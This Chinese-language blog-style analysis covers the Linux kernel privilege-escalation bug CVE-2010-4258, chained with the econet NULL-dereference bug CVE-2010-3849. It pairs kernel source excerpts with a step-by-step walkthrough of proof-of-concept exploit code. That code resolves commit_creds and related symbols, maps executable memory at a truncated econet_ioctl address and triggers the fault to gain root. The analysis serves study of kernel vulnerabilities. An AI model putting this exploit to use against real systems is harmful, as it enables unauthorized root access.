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一. 漏洞简介
CVE-2010-4258这个漏洞很有意思，主要思路是如果通过clone函数去创建进程，并且带有CLONE_CHILD_CLEARTID标志，那么进程在退出的时候，可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。
二. 前置知识 (进程创建、退出)
1.当fork或者clone一个进程在的时候， copy_process执行如下操作：
static struct task_struct *copy_process(unsigned long clone_flags,
unsigned long stack_start,
struct pt_regs *regs,
unsigned long stack_size,
int __user *child_tidptr,
struct pid *pid,
int trace)
{
p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
/*
* Clear TID on mm_release()
*/
p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
}
如果clone的flag带有CLONE_CHILD_CLEARTID标志，那么clear_child_tid指针中就会保存应用层传递进来的child_tidptr的地址。
2.应用层调用clone函数，并传递CLONE_CHILD_CLEARTID标志，则child_tidptr指针就会被赋值给子进程的clear_child_tid
clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
&fildes, NULL, NULL, child_tidptr);
3.进程在退出的时候调用do_exit清理资源，调用路径如下：do_exit->exit_mm->mm_release
/*
* If we're exiting normally, clear a user-space tid field if
* requested. We leave this alone when dying by signal, to leave
* the value intact in a core dump, and to save the unnecessary
* trouble, say, a killed vfork parent shouldn't touch this mm.
* Userland only wants this done for a sys_exit.
*/
if (tsk->clear_child_tid) {
if (!(tsk->flags & PF_SIGNALED) &&
atomic_read(&mm->mm_users) > 1) {
/*
* We don't check the error code - if userspace has
* not set up a proper pointer then tough luck.
*/
put_user(0, tsk->clear_child_tid);
sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
1, NULL, NULL, 0);
}
tsk->clear_child_tid = NULL;
}
上述代码中，如果tsk->clear_child_tid不为空，那么其会调用put_user(0, tsk->clear_child_tid);
4.put_user其实是一个宏，具体是__put_user_check函数，它会将tsk->clear_child_tid的值置为0
#define __put_user_check(x,ptr,size) ({ long __pu_err = -EFAULT; __typeof__(*(ptr)) __user *__pu_addr = (ptr); __typeof__(*(ptr)) __pu_val = x; if (likely(access_ok(VERIFY_WRITE, __pu_addr, size))) __put_user_size(__pu_val, __pu_addr, (size), __pu_err); __pu_err; })
__put_user_check函数会调用access_ok去检查传进来的参数是否合法
#define access_ok(type,addr,size) _access_ok((unsigned long)(addr),(size))
int _access_ok(unsigned long addr, unsigned long size)
{
if (!size)
return 1;
if (!addr || addr > (0xffffffffUL - (size - 1)))
goto _bad_access;
if (segment_eq(get_fs(), KERNEL_DS))
return 1;
if (memory_start <= addr && (addr + size - 1) < memory_end)
return 1;
_bad_access:
pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n",
current->pid, addr, size);
return 0;
}
access_ok也是一个宏，具体函数为_access_ok，其主要对外部传进来的addr和size参数做合法性检查，其中关键调用语句如下
if (segment_eq(get_fs(), KERNEL_DS))
return 1;
# define get_fs() (current_thread_info()->addr_limit)
如果get_fs() = KERNEL_DS，那么_access_ok检查始终返回1.
三. 前置知识（无效地址访问异常）
每当我们访问一个无效地址的时候，系统便会执行do_page_fault去生成异常日志，结束异常进程等。
int do_page_fault(struct pt_regs *regs, unsigned long address,
unsigned int write_access, unsigned int trapno)
{
// ......
die("Oops", regs, (write_access << 15) | trapno, address);
do_exit(SIGKILL);
}
而往往一些内核bug产生的时候就满足get_fs() = KERNEL_DS这个条件，这个很关键。
接下来看看CVE-2010-3849这个漏洞，它主要是一个0地址访问异常漏洞，msg->msg_name可以由用户空间控制，因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。
static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t len)
{
struct sock *sk = sock->sk;
struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;
eb->cookie = saddr->cookie;
}
四. 漏洞利用
1.获取需要用到的函数地址
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
2.申请一块新进程的栈空间
if(!(newstack = malloc(65536))) {
printf("[*] Failed to allocate memory.\n");
return -1;
}
3.处理好需要映射的地址，比较关键
// econet_ops中保存了各个econet函数的地址指针，
// 10 * sizeof(void *)到达econet_ioctl的下一个函数地址
// 再-1，那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节
target = econet_ops + 10 * sizeof(void *) - OFFSET;
// 清掉econet_ioctl函数的高8字节
landing = econet_ioctl << SHIFT >> SHIFT;
// landing按页对齐，map了2个页的内存
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
rintf("[*] Failed to mmap() at target address.\n");
return -1;
}
// 将提权代码拷贝到landing
memcpy((void *)landing, &trampoline, 1024);
ps.这里要说明一下，这里为什么要把地址映射到（econet_ioctl&0x00FFFFFF）地址范围内，而不是直接将econet_ops指针数组中的econet_ioctl函数地址清零呢。那是因为新版本的linux不允许用户直接调用mmap函数映射0地址了，所以采用了一个很巧妙的小技巧。
可以调用查看下系统最低映射的地址，我这里是65536
4.clone进程
// trigger用来触发CVE-2010-3849漏洞，是一个0地址访问异常
int trigger(int * fildes)
{
int ret;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
if(ret < 0) {
printf("[*] Failed to set Econet address.\n");
return -1;
}
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
/* Shouldn't get here... */
exit(0);
}
// clone进程，子进程调用trigger触发0地址访问的漏洞，进而将target指向的地址清0
// 即清掉了econet_ioctl函数地址的高8字节
clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
&fildes, NULL, NULL, target);
5.最后ioctl函数触发底层的econet_ioctl函数执行，而econet_ioctl函数的高8字节已经被我们清零了，所以会调用到我们的map地址中，进而触发提权代码获得root权限
sleep(1);
printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);
参考文章：
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258
http://www.exploit-db.com/exploits/15704/
http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9
Root exploit for Android and Linux（CVE-2010-4258）,布布扣,bubuko.com